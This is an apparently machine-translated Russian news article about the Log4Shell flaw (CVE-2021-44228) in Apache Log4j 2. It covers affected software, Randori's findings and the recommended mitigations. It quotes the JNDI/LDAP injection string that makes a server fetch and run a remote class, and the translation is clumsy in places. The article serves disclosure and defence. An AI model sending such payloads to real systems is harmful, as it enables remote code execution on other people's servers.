Недавно se опубликовал новость об обнаружении критической уязвимости в Apache Log4j 2., который характеризуется как популярная структура для организации реестра в приложениях Java, позволяющая выполнять произвольный код, когда в реестр записывается специально отформатированное значение в формате "{jndi: URL}".
Уязвимость Это примечательно тем, что атака может быть проведена в приложениях Java, которыеОни записывают значения, полученные из внешних источников, например, отображая проблемные значения в сообщениях об ошибках.
Замечено, что затронуты почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая клиенты и серверы Steam, Apple iCloud, Minecraft.
Ожидается, что уязвимость приведет к волне массовых атак на корпоративные приложения, повторяя историю критических уязвимостей в инфраструктуре Apache Struts, которая является приблизительной оценкой, используемой в 65% веб-приложений из списка Fortune 100. Список веб-приложений компании включены уже зафиксированные попытки сканирования сети на наличие уязвимых систем.
Уязвимость позволяет удаленно выполнить неаутентифицированный код. Log4j 2 - это библиотека журналов Java с открытым исходным кодом, разработанная Apache Foundation. Log4j 2 широко используется во многих приложениях и присутствует в качестве зависимости во многих сервисах. К ним относятся бизнес-приложения, а также многочисленные облачные сервисы.
Команда разработчиков Randori разработала функциональный эксплойт и смогла успешно использовать эту уязвимость в клиентских средах как часть нашей наступательной платформы безопасности.
Доступ к уязвимости можно получить с помощью множества методов, зависящих от приложения. В самом деле, любой сценарий, который позволяет удаленному соединению предоставлять произвольные данные, которые приложение, использующее библиотеку Log4j, записывает в файлы журналов, уязвимо для использования. Эта уязвимость, скорее всего, будет эксплуатироваться в «дикой природе» и затронет тысячи организаций. Эта уязвимость представляет значительный реальный риск для затронутых систем.
Проблема усугубляется тем, что уже опубликован функциональный эксплойт, напримерНо исправления для стабильных веток пока не сгенерировали. Идентификатор CVE еще не назначен. Решение включено только в тестовую ветку log4j-2.15.0-rc1. В качестве обходного пути для блокировки уязвимости рекомендуется установить для параметра Log4j2.formatMsgNoLookups значение true.
Проблема это было связано с тем, что Log4j 2 поддерживает обработку специальных масок «{}» в строках журнала., в котором Запросы JNDI можно запускать (Интерфейс именования и каталогов Java).
Анализируя CVE-2021-44228, Рандори определила следующее:
Установки по умолчанию широко используемого программного обеспечения для бизнеса уязвимы.
Уязвимость может быть использована надежно и без аутентификации.
Уязвимость затрагивает несколько версий Log4j 2.
Уязвимость позволяет удаленно выполнять код, когда пользователь запускает приложение с помощью библиотеки.
Атака сводится к передаче строки с заменой «$ {jndi: ldap: //example.com/a}», обработка которой Log4j 2 отправит LDAP-запрос пути к классу Java на сервер attacker.com. . Путь, возвращенный сервером злоумышленника (например, http://example.com/Exploit.class), будет загружен и выполнен в контексте текущего процесса, позволяя злоумышленнику добиться выполнения произвольного кода в системе с правами текущего приложения.
Наконец, упоминается, что если обнаружены отклонения, рекомендуется предположить, что это активный инцидент, что он был взломан, и отреагировать соответствующим образом. Обновление до исправленных версий Log4j 2 или уязвимых приложений устранит эту уязвимость. Randori рекомендует любой организации, которая считает, что это может повлиять на нее, срочно обновить ее до исправленной версии.
В последнем обновлении от команды Apache Log4j, рекомендуют организациям сделать следующее
- Обновление до Log4j 2.15.0
- Для тех, кто не может выполнить обновление до 2.15.0: в версиях> = 2.10 эту уязвимость можно уменьшить, установив для системного свойства log4j2.formatMsgNoLookup или переменной среды LOG4J_FORMAT_MSG_NO_LOOKUPS значение true.
- Для версий от 2,0-beta9 до 2.10.0 смягчением является удаление класса JndiLookup из пути к классам: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
источник: https://www.lunasec.io/